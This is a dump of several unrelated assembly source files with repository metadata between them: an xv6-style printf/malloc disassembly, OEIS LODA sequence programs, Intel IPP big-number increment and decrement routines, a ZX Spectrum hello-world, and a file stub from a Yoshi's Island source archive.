01 testb $0x1,0x8(%ebp) 6bb: 74 73 je 730 <printint+0x90> neg = 1; x = -xx; 6bd: f7 d8 neg %eax neg = 1; 6bf: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 6c6: 31 f6 xor %esi,%esi 6c8: 8d 5d d7 lea -0x29(%ebp),%ebx 6cb: eb 05 jmp 6d2 <printint+0x32> 6cd: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 6d0: 89 fe mov %edi,%esi 6d2: 31 d2 xor %edx,%edx 6d4: f7 f1 div %ecx 6d6: 8d 7e 01 lea 0x1(%esi),%edi 6d9: 0f b6 92 0c 0b 00 00 movzbl 0xb0c(%edx),%edx }while((x /= base) != 0); 6e0: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 6e2: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 6e5: 75 e9 jne 6d0 <printint+0x30> if(neg) 6e7: 8b 55 c4 mov -0x3c(%ebp),%edx 6ea: 85 d2 test %edx,%edx 6ec: 74 08 je 6f6 <printint+0x56> buf[i++] = '-'; 6ee: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 6f3: 8d 7e 02 lea 0x2(%esi),%edi 6f6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 6fa: 8b 7d c0 mov -0x40(%ebp),%edi 6fd: 8d 76 00 lea 0x0(%esi),%esi 700: 0f b6 06 movzbl (%esi),%eax 703: 4e dec %esi write(fd, &c, 1); 704: 89 5c 24 04 mov %ebx,0x4(%esp) 708: 89 3c 24 mov %edi,(%esp) 70b: 88 45 d7 mov %al,-0x29(%ebp) 70e: b8 01 00 00 00 mov $0x1,%eax 713: 89 44 24 08 mov %eax,0x8(%esp) 717: e8 dc fe ff ff call 5f8 <write> while(--i >= 0) 71c: 39 de cmp %ebx,%esi 71e: 75 e0 jne 700 <printint+0x60> putc(fd, buf[i]); } 720: 83 c4 4c add $0x4c,%esp 723: 5b pop %ebx 724: 5e pop %esi 725: 5f pop %edi 726: 5d pop %ebp 727: c3 ret 728: 90 nop 729: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 730: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 737: eb 8d jmp 6c6 <printint+0x26> 739: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000740 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 740: 55 push %ebp 741: 89 e5 mov %esp,%ebp 743: 57 push %edi 744: 56 push %esi 745: 53 push %ebx 746: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 749: 8b 75 0c mov 0xc(%ebp),%esi 74c: 0f b6 1e movzbl (%esi),%ebx 74f: 84 db test %bl,%bl 751: 0f 84 d1 00 00 00 je 828 <printf+0xe8> state = 0; 757: 31 ff xor %edi,%edi 759: 46 inc %esi ap = (uint*)(void*)&fmt + 1; 75a: 8d 45 10 lea 0x10(%ebp),%eax write(fd, &c, 1); 75d: 89 fa mov %edi,%edx 75f: 8b 7d 08 mov 0x8(%ebp),%edi ap = (uint*)(void*)&fmt + 1; 762: 89 45 d0 mov %eax,-0x30(%ebp) 765: eb 41 jmp 7a8 <printf+0x68> 767: 89 f6 mov %esi,%esi 769: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 770: 83 f8 25 cmp $0x25,%eax 773: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 776: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 77b: 74 1e je 79b <printf+0x5b> write(fd, &c, 1); 77d: b8 01 00 00 00 mov $0x1,%eax 782: 89 44 24 08 mov %eax,0x8(%esp) 786: 8d 45 e2 lea -0x1e(%ebp),%eax 789: 89 44 24 04 mov %eax,0x4(%esp) 78d: 89 3c 24 mov %edi,(%esp) 790: 88 5d e2 mov %bl,-0x1e(%ebp) 793: e8 60 fe ff ff call 5f8 <write> 798: 8b 55 d4 mov -0x2c(%ebp),%edx 79b: 46 inc %esi for(i = 0; fmt[i]; i++){ 79c: 0f b6 5e ff movzbl -0x1(%esi),%ebx 7a0: 84 db test %bl,%bl 7a2: 0f 84 80 00 00 00 je 828 <printf+0xe8> if(state == 0){ 7a8: 85 d2 test %edx,%edx c = fmt[i] & 0xff; 7aa: 0f be cb movsbl %bl,%ecx 7ad: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 7b0: 74 be je 770 <printf+0x30> } else { putc(fd, c); } } else if(state == '%'){ 7b2: 83 fa 25 cmp $0x25,%edx 7b5: 75 e4 jne 79b <printf+0x5b> if(c == 'd'){ 7b7: 83 f8 64 cmp $0x64,%eax 7ba: 0f 84 f0 00 00 00 je 8b0 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 7c0: 81 e1 f7 00 00 00 and $0xf7,%ecx 7c6: 83 f9 70 cmp $0x70,%ecx 7c9: 74 65 je 830 <printf+0xf0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 7cb: 83 f8 73 cmp $0x73,%eax 7ce: 0f 84 8c 00 00 00 je 860 <printf+0x120> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 7d4: 83 f8 63 cmp $0x63,%eax 7d7: 0f 84 13 01 00 00 je 8f0 <printf+0x1b0> putc(fd, *ap); ap++; } else if(c == '%'){ 7dd: 83 f8 25 cmp $0x25,%eax 7e0: 0f 84 e2 00 00 00 je 8c8 <printf+0x188> write(fd, &c, 1); 7e6: b8 01 00 00 00 mov $0x1,%eax 7eb: 46 inc %esi 7ec: 89 44 24 08 mov %eax,0x8(%esp) 7f0: 8d 45 e7 lea -0x19(%ebp),%eax 7f3: 89 44 24 04 mov %eax,0x4(%esp) 7f7: 89 3c 24 mov %edi,(%esp) 7fa: c6 45 e7 25 movb $0x25,-0x19(%ebp) 7fe: e8 f5 fd ff ff call 5f8 <write> 803: ba 01 00 00 00 mov $0x1,%edx 808: 8d 45 e6 lea -0x1a(%ebp),%eax 80b: 89 54 24 08 mov %edx,0x8(%esp) 80f: 89 44 24 04 mov %eax,0x4(%esp) 813: 89 3c 24 mov %edi,(%esp) 816: 88 5d e6 mov %bl,-0x1a(%ebp) 819: e8 da fd ff ff call 5f8 <write> for(i = 0; fmt[i]; i++){ 81e: 0f b6 5e ff movzbl -0x1(%esi),%ebx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 822: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 824: 84 db test %bl,%bl 826: 75 80 jne 7a8 <printf+0x68> } } } 828: 83 c4 3c add $0x3c,%esp 82b: 5b pop %ebx 82c: 5e pop %esi 82d: 5f pop %edi 82e: 5d pop %ebp 82f: c3 ret printint(fd, *ap, 16, 0); 830: c7 04 24 00 00 00 00 movl $0x0,(%esp) 837: b9 10 00 00 00 mov $0x10,%ecx 83c: 8b 5d d0 mov -0x30(%ebp),%ebx 83f: 89 f8 mov %edi,%eax 841: 8b 13 mov (%ebx),%edx 843: e8 58 fe ff ff call 6a0 <printint> ap++; 848: 89 d8 mov %ebx,%eax state = 0; 84a: 31 d2 xor %edx,%edx ap++; 84c: 83 c0 04 add $0x4,%eax 84f: 89 45 d0 mov %eax,-0x30(%ebp) 852: e9 44 ff ff ff jmp 79b <printf+0x5b> 857: 89 f6 mov %esi,%esi 859: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi s = (char*)*ap; 860: 8b 45 d0 mov -0x30(%ebp),%eax 863: 8b 10 mov (%eax),%edx ap++; 865: 83 c0 04 add $0x4,%eax 868: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 86b: 85 d2 test %edx,%edx 86d: 0f 84 aa 00 00 00 je 91d <printf+0x1dd> while(*s != 0){ 873: 0f b6 02 movzbl (%edx),%eax s = (char*)*ap; 876: 89 d3 mov %edx,%ebx while(*s != 0){ 878: 84 c0 test %al,%al 87a: 74 27 je 8a3 <printf+0x163> 87c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 880: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 883: b8 01 00 00 00 mov $0x1,%eax s++; 888: 43 inc %ebx write(fd, &c, 1); 889: 89 44 24 08 mov %eax,0x8(%esp) 88d: 8d 45 e3 lea -0x1d(%ebp),%eax 890: 89 44 24 04 mov %eax,0x4(%esp) 894: 89 3c 24 mov %edi,(%esp) 897: e8 5c fd ff ff call 5f8 <write> while(*s != 0){ 89c: 0f b6 03 movzbl (%ebx),%eax 89f: 84 c0 test %al,%al 8a1: 75 dd jne 880 <printf+0x140> state = 0; 8a3: 31 d2 xor %edx,%edx 8a5: e9 f1 fe ff ff jmp 79b <printf+0x5b> 8aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 10, 1); 8b0: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8b7: b9 0a 00 00 00 mov $0xa,%ecx 8bc: e9 7b ff ff ff jmp 83c <printf+0xfc> 8c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi write(fd, &c, 1); 8c8: b9 01 00 00 00 mov $0x1,%ecx 8cd: 8d 45 e5 lea -0x1b(%ebp),%eax 8d0: 89 4c 24 08 mov %ecx,0x8(%esp) 8d4: 89 44 24 04 mov %eax,0x4(%esp) 8d8: 89 3c 24 mov %edi,(%esp) 8db: 88 5d e5 mov %bl,-0x1b(%ebp) 8de: e8 15 fd ff ff call 5f8 <write> state = 0; 8e3: 31 d2 xor %edx,%edx 8e5: e9 b1 fe ff ff jmp 79b <printf+0x5b> 8ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi putc(fd, *ap); 8f0: 8b 5d d0 mov -0x30(%ebp),%ebx 8f3: 8b 03 mov (%ebx),%eax ap++; 8f5: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 8f8: 89 3c 24 mov %edi,(%esp) putc(fd, *ap); 8fb: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 8fe: b8 01 00 00 00 mov $0x1,%eax 903: 89 44 24 08 mov %eax,0x8(%esp) 907: 8d 45 e4 lea -0x1c(%ebp),%eax 90a: 89 44 24 04 mov %eax,0x4(%esp) 90e: e8 e5 fc ff ff call 5f8 <write> state = 0; 913: 31 d2 xor %edx,%edx ap++; 915: 89 5d d0 mov %ebx,-0x30(%ebp) 918: e9 7e fe ff ff jmp 79b <printf+0x5b> s = "(null)"; 91d: bb 02 0b 00 00 mov $0xb02,%ebx while(*s != 0){ 922: b0 28 mov $0x28,%al 924: e9 57 ff ff ff jmp 880 <printf+0x140> 929: 66 90 xchg %ax,%ax 92b: 66 90 xchg %ax,%ax 92d: 66 90 xchg %ax,%ax 92f: 90 nop 00000930 <free>: static Header base; static Header *freep; void free(void *ap) { 930: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 931: a1 48 0e 00 00 mov 0xe48,%eax { 936: 89 e5 mov %esp,%ebp 938: 57 push %edi 939: 56 push %esi 93a: 53 push %ebx 93b: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 93e: 8d 4b f8 lea -0x8(%ebx),%ecx 941: eb 0d jmp 950 <free+0x20> 943: 90 nop 944: 90 nop 945: 90 nop 946: 90 nop 947: 90 nop 948: 90 nop 949: 90 nop 94a: 90 nop 94b: 90 nop 94c: 90 nop 94d: 90 nop 94e: 90 nop 94f: 90 nop for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 950: 39 c8 cmp %ecx,%eax 952: 8b 10 mov (%eax),%edx 954: 73 32 jae 988 <free+0x58> 956: 39 d1 cmp %edx,%ecx 958: 72 04 jb 95e <free+0x2e> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 95a: 39 d0 cmp %edx,%eax 95c: 72 32 jb 990 <free+0x60> break; if(bp + bp->s.size == p->s.ptr){ 95e: 8b 73 fc mov -0x4(%ebx),%esi 961: 8d 3c f1 lea (%ecx,%esi,8),%edi 964: 39 fa cmp %edi,%edx 966: 74 30 je 998 <free+0x68> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 968: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 96b: 8b 50 04 mov 0x4(%eax),%edx 96e: 8d 34 d0 lea (%eax,%edx,8),%esi 971: 39 f1 cmp %esi,%ecx 973: 74 3c je 9b1 <free+0x81> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 975: 89 08 mov %ecx,(%eax) freep = p; } 977: 5b pop %ebx freep = p; 978: a3 48 0e 00 00 mov %eax,0xe48 } 97d: 5e pop %esi 97e: 5f pop %edi 97f: 5d pop %ebp 980: c3 ret 981: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 988: 39 d0 cmp %edx,%eax 98a: 72 04 jb 990 <free+0x60> 98c: 39 d1 cmp %edx,%ecx 98e: 72 ce jb 95e <free+0x2e> { 990: 89 d0 mov %edx,%eax 992: eb bc jmp 950 <free+0x20> 994: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 998: 8b 7a 04 mov 0x4(%edx),%edi 99b: 01 fe add %edi,%esi 99d: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 9a0: 8b 10 mov (%eax),%edx 9a2: 8b 12 mov (%edx),%edx 9a4: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 9a7: 8b 50 04 mov 0x4(%eax),%edx 9aa: 8d 34 d0 lea (%eax,%edx,8),%esi 9ad: 39 f1 cmp %esi,%ecx 9af: 75 c4 jne 975 <free+0x45> p->s.size += bp->s.size; 9b1: 8b 4b fc mov -0x4(%ebx),%ecx freep = p; 9b4: a3 48 0e 00 00 mov %eax,0xe48 p->s.size += bp->s.size; 9b9: 01 ca add %ecx,%edx 9bb: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 9be: 8b 53 f8 mov -0x8(%ebx),%edx 9c1: 89 10 mov %edx,(%eax) } 9c3: 5b pop %ebx 9c4: 5e pop %esi 9c5: 5f pop %edi 9c6: 5d pop %ebp 9c7: c3 ret 9c8: 90 nop 9c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000009d0 <malloc>: return freep; } void* malloc(uint nbytes) { 9d0: 55 push %ebp 9d1: 89 e5 mov %esp,%ebp 9d3: 57 push %edi 9d4: 56 push %esi 9d5: 53 push %ebx 9d6: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 9d9: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 9dc: 8b 15 48 0e 00 00 mov 0xe48,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 9e2: 8d 78 07 lea 0x7(%eax),%edi 9e5: c1 ef 03 shr $0x3,%edi 9e8: 47 inc %edi if((prevp = freep) == 0){ 9e9: 85 d2 test %edx,%edx 9eb: 0f 84 8f 00 00 00 je a80 <malloc+0xb0> 9f1: 8b 02 mov (%edx),%eax 9f3: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 9f6: 39 cf cmp %ecx,%edi 9f8: 76 66 jbe a60 <malloc+0x90> 9fa: 81 ff 00 10 00 00 cmp $0x1000,%edi a00: bb 00 10 00 00 mov $0x1000,%ebx a05: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); a08: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi a0f: eb 10 jmp a21 <malloc+0x51> a11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ a18: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ a1a: 8b 48 04 mov 0x4(%eax),%ecx a1d: 39 f9 cmp %edi,%ecx a1f: 73 3f jae a60 <malloc+0x90> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) a21: 39 05 48 0e 00 00 cmp %eax,0xe48 a27: 89 c2 mov %eax,%edx a29: 75 ed jne a18 <malloc+0x48> p = sbrk(nu * sizeof(Header)); a2b: 89 34 24 mov %esi,(%esp) a2e: e8 2d fc ff ff call 660 <sbrk> if(p == (char*)-1) a33: 83 f8 ff cmp $0xffffffff,%eax a36: 74 18 je a50 <malloc+0x80> hp->s.size = nu; a38: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); a3b: 83 c0 08 add $0x8,%eax a3e: 89 04 24 mov %eax,(%esp) a41: e8 ea fe ff ff call 930 <free> return freep; a46: 8b 15 48 0e 00 00 mov 0xe48,%edx if((p = morecore(nunits)) == 0) a4c: 85 d2 test %edx,%edx a4e: 75 c8 jne a18 <malloc+0x48> return 0; } } a50: 83 c4 1c add $0x1c,%esp return 0; a53: 31 c0 xor %eax,%eax } a55: 5b pop %ebx a56: 5e pop %esi a57: 5f pop %edi a58: 5d pop %ebp a59: c3 ret a5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) a60: 39 cf cmp %ecx,%edi a62: 74 4c je ab0 <malloc+0xe0> p->s.size -= nunits; a64: 29 f9 sub %edi,%ecx a66: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; a69: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; a6c: 89 78 04 mov %edi,0x4(%eax) freep = prevp; a6f: 89 15 48 0e 00 00 mov %edx,0xe48 } a75: 83 c4 1c add $0x1c,%esp return (void*)(p + 1); a78: 83 c0 08 add $0x8,%eax } a7b: 5b pop %ebx a7c: 5e pop %esi a7d: 5f pop %edi a7e: 5d pop %ebp a7f: c3 ret base.s.ptr = freep = prevp = &base; a80: b8 4c 0e 00 00 mov $0xe4c,%eax a85: ba 4c 0e 00 00 mov $0xe4c,%edx base.s.size = 0; a8a: 31 c9 xor %ecx,%ecx base.s.ptr = freep = prevp = &base; a8c: a3 48 0e 00 00 mov %eax,0xe48 base.s.size = 0; a91: b8 4c 0e 00 00 mov $0xe4c,%eax base.s.ptr = freep = prevp = &base; a96: 89 15 4c 0e 00 00 mov %edx,0xe4c base.s.size = 0; a9c: 89 0d 50 0e 00 00 mov %ecx,0xe50 aa2: e9 53 ff ff ff jmp 9fa <malloc+0x2a> aa7: 89 f6 mov %esi,%esi aa9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi prevp->s.ptr = p->s.ptr; ab0: 8b 08 mov (%eax),%ecx ab2: 89 0a mov %ecx,(%edx) ab4: eb b9 jmp a6f <malloc+0x9f>
35.733838
73
0.420425
431ea5cf41981650870afe7e418d2d37d200d47c
282
asm
Assembly
programs/oeis/133/A133655.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/133/A133655.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/133/A133655.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A133655: a(n) = 2*A016777(n) + A016777(n-1) - (n+1). ; 1,7,15,23,31,39,47,55,63,71,79,87,95,103,111,119,127,135,143,151,159,167,175,183,191,199,207,215,223,231,239,247,255,263,271,279,287,295,303,311,319,327,335,343,351,359,367,375,383,391,399,407,415 mul $0,8 trn $0,2 add $0,1
40.285714
198
0.666667
cb1511ba732b66f6541b80cb3f8c1c3ed1c01c5c
564
asm
Assembly
oeis/158/A158688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/158/A158688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/158/A158688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A158688: a(n) = 1089*n^2 + 33. ; 33,1122,4389,9834,17457,27258,39237,53394,69729,88242,108933,131802,156849,184074,213477,245058,278817,314754,352869,393162,435633,480282,527109,576114,627297,680658,736197,793914,853809,915882,980133,1046562,1115169,1185954,1258917,1334058,1411377,1490874,1572549,1656402,1742433,1830642,1921029,2013594,2108337,2205258,2304357,2405634,2509089,2614722,2722533,2832522,2944689,3059034,3175557,3294258,3415137,3538194,3663429,3790842,3920433,4052202,4186149,4322274,4460577,4601058,4743717,4888554 pow $0,2 mul $0,1089 add $0,33
80.571429
498
0.824468
e76f0e5100ed009eb7d576fe55a074a054911776
3,992
asm
Assembly
sources/ippcp/asm_intel64/pcpbnuincm7as.asm
ntyukaev/ipp-crypto
19b408cfd21a59f994b64dd47b18eb0c2f94e4e0
[ "Apache-2.0" ]
30
2017-07-26T20:03:19.000Z
2021-10-14T23:38:54.000Z
sources/ippcp/asm_intel64/pcpbnuincm7as.asm
ntyukaev/ipp-crypto
19b408cfd21a59f994b64dd47b18eb0c2f94e4e0
[ "Apache-2.0" ]
9
2018-09-25T18:32:42.000Z
2022-02-18T12:23:40.000Z
sources/ippcp/asm_intel64/pcpbnuincm7as.asm
ntyukaev/ipp-crypto
19b408cfd21a59f994b64dd47b18eb0c2f94e4e0
[ "Apache-2.0" ]
14
2017-08-31T19:53:23.000Z
2021-02-27T01:08:14.000Z
;=============================================================================== ; Copyright 2014-2020 Intel Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; Big Number Operations ; ; Content: ; cpInc_BNU() ; cpDec_BNU() ; ; %include "asmdefs.inc" %include "ia_32e.inc" %if (_IPP32E >= _IPP32E_M7) segment .text align=IPP_ALIGN_FACTOR ;************************************************************* ;* Ipp64u cpInc_BNU(Ipp64u* pDst, ;* const Ipp64u* pSrc, int len, ;* Ipp64u increment) ;* returns carry ;************************************************************* align IPP_ALIGN_FACTOR IPPASM cpInc_BNU,PUBLIC %assign LOCAL_FRAME 0 USES_GPR rsi,rdi USES_XMM COMP_ABI 4 ; rdi = pDst ; rsi = pSrc ; rdx = len ; rcx = increment movsxd rdx, edx ; length mov r8, qword [rsi] ; r[0] = r[0]+increment add r8, rcx mov qword [rdi], r8 lea rsi, [rsi+rdx*sizeof(qword)] lea rdi, [rdi+rdx*sizeof(qword)] lea rcx, [rdx*sizeof(qword)] sbb rax, rax ; save cf neg rcx ; rcx = negative length (bytes) add rcx, sizeof(qword) jrcxz .exit add rax, rax ; restore cf jnc .copy align IPP_ALIGN_FACTOR .inc_loop: mov r8, qword [rsi+rcx] adc r8, 0 mov qword [rdi+rcx], r8 lea rcx, [rcx+sizeof(qword)] jrcxz .exit_loop jnc .exit_loop jmp .inc_loop .exit_loop: sbb rax, rax ; save cf .copy: cmp rsi, rdi jz .exit jrcxz .exit .copy_loop: mov r8, qword [rsi+rcx] mov qword [rdi+rcx], r8 add rcx, sizeof(qword) jnz .copy_loop .exit: neg rax REST_XMM REST_GPR ret ENDFUNC cpInc_BNU ;************************************************************* ;* Ipp64u cpDec_BNU(Ipp64u* pDst, ;* const Ipp64u* pSrc, int len, ;* Ipp64u increment) ;* returns borrow ;************************************************************* align IPP_ALIGN_FACTOR IPPASM cpDec_BNU,PUBLIC %assign LOCAL_FRAME 0 USES_GPR rsi,rdi USES_XMM COMP_ABI 4 ; rdi = pDst ; rsi = pSrc ; rdx = len ; rcx = increment movsxd rdx, edx ; length mov r8, qword [rsi] ; r[0] = r[0]+increment sub r8, rcx mov qword [rdi], r8 lea rsi, [rsi+rdx*sizeof(qword)] lea rdi, [rdi+rdx*sizeof(qword)] lea rcx, [rdx*sizeof(qword)] sbb rax, rax ; save cf neg rcx ; rcx = negative length (bytes) add rcx, sizeof(qword) jrcxz .exit add rax, rax ; restore cf jnc .copy align IPP_ALIGN_FACTOR .inc_loop: mov r8, qword [rsi+rcx] sbb r8, 0 mov qword [rdi+rcx], r8 lea rcx, [rcx+sizeof(qword)] jrcxz .exit_loop jnc .exit_loop jmp .inc_loop .exit_loop: sbb rax, rax ; save cf .copy: cmp rsi, rdi jz .exit jrcxz .exit .copy_loop: mov r8, qword [rsi+rcx] mov qword [rdi+rcx], r8 add rcx, sizeof(qword) jnz .copy_loop .exit: neg rax REST_XMM REST_GPR ret ENDFUNC cpDec_BNU %endif
23.761905
80
0.50977
f69cb1e8ef74f9eb9d6da25aa74280220f302283
147
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/chip/ys_mpldt0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/chip/ys_mpldt0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/chip/ys_mpldt0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: ys_mpldt0.asm Type: file Size: 11127 Last-Modified: '2016-05-13T04:51:40Z' SHA-1: 4D5860FBA4FEB10F8394CC1D7C4383AF167CF20F Description: null
21
47
0.816327
8276d88351602882974aad2d847dfe8051cb692a
2,527
asm
Assembly
video_2.asm
funkacer/ZX80
ba9fb70cc8ec35742ef776cebf09f6723e710504
[ "BSD-3-Clause" ]
null
null
null
video_2.asm
funkacer/ZX80
ba9fb70cc8ec35742ef776cebf09f6723e710504
[ "BSD-3-Clause" ]
null
null
null
video_2.asm
funkacer/ZX80
ba9fb70cc8ec35742ef776cebf09f6723e710504
[ "BSD-3-Clause" ]
null
null
null
DEVICE ZXSPECTRUM48 org $8000 jp start ; jump over data to code (extended immediate) string: db "hello" STRING_LENGTH = 5 ROM_CLS = $0DAF ; ROM address for "Clear Screen" routine COLOR_ATTR = $5800 ; start of color attribute memory ENTER = $0D ; Character code for Enter key BLACK_WHITE = $47 ; black paper, white ink start: im 1 ; Set interrupt mode to 1 (interrupt mode) call ROM_CLS ; Call clear screen routine from ROM (extended immediate) ld hl,string ; HL = address of string (register,extended immediate) ld b,STRING_LENGTH ; B = length of string (register,immediate) loop: ld a,(hl) ; A = byte at address in HL (register,register indirect) rst $10 ; print character code in A (modified page zero) inc hl ; increment HL to address of next character (register) dec b ; decrement B (register) jr nz,loop ; if B not zero, jump back to top of loop (condition,relative) ld a,ENTER ; A = Enter character code (register,immediate) rst $10 ; print Enter for new line (modified page zero) ; Let's change the color of the first character we printed ld a,BLACK_WHITE ; A = black/white color attribute (register,immediate) ld (COLOR_ATTR),a ; Color attribute(0,0) = A (extended,register) ; Let's do it again, but unrolled and with the first letter capitalized ld ix,string ; IX = address of string (register,extended immediate) res 5,(ix) ; reset bit 5 of first character (bit,indexed) ld a,(ix) ; A = string[0] (register,indexed) rst $10 ; print character (modified page zero) ld a,(ix+1) ; A = string[1] (register,indexed) rst $10 ; print character (modified page zero) ld a,(ix+2) ; A = string[2] (register,indexed) rst $10 ; print character (modified page zero) ld a,(ix+3) ; A = string[3] (register,indexed) rst $10 ; print character (modified page zero) ld a,(ix+4) ; A = string[4] (register,indexed) rst $10 ; print character (modified page zero) ld a,ENTER ; A = Enter character code (register,immediate) rst $10 ; print Enter for new line (modified page zero) ; And, we're done ret ; return from call (implied) ; Deployment: Snapshot SAVESNA "video_2.sna", start
44.333333
86
0.599129
5c7676ef3894cacdf6661af4233ca5e042c84824
313
asm
Assembly
oeis/329/A329837.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/329/A329837.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/329/A329837.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
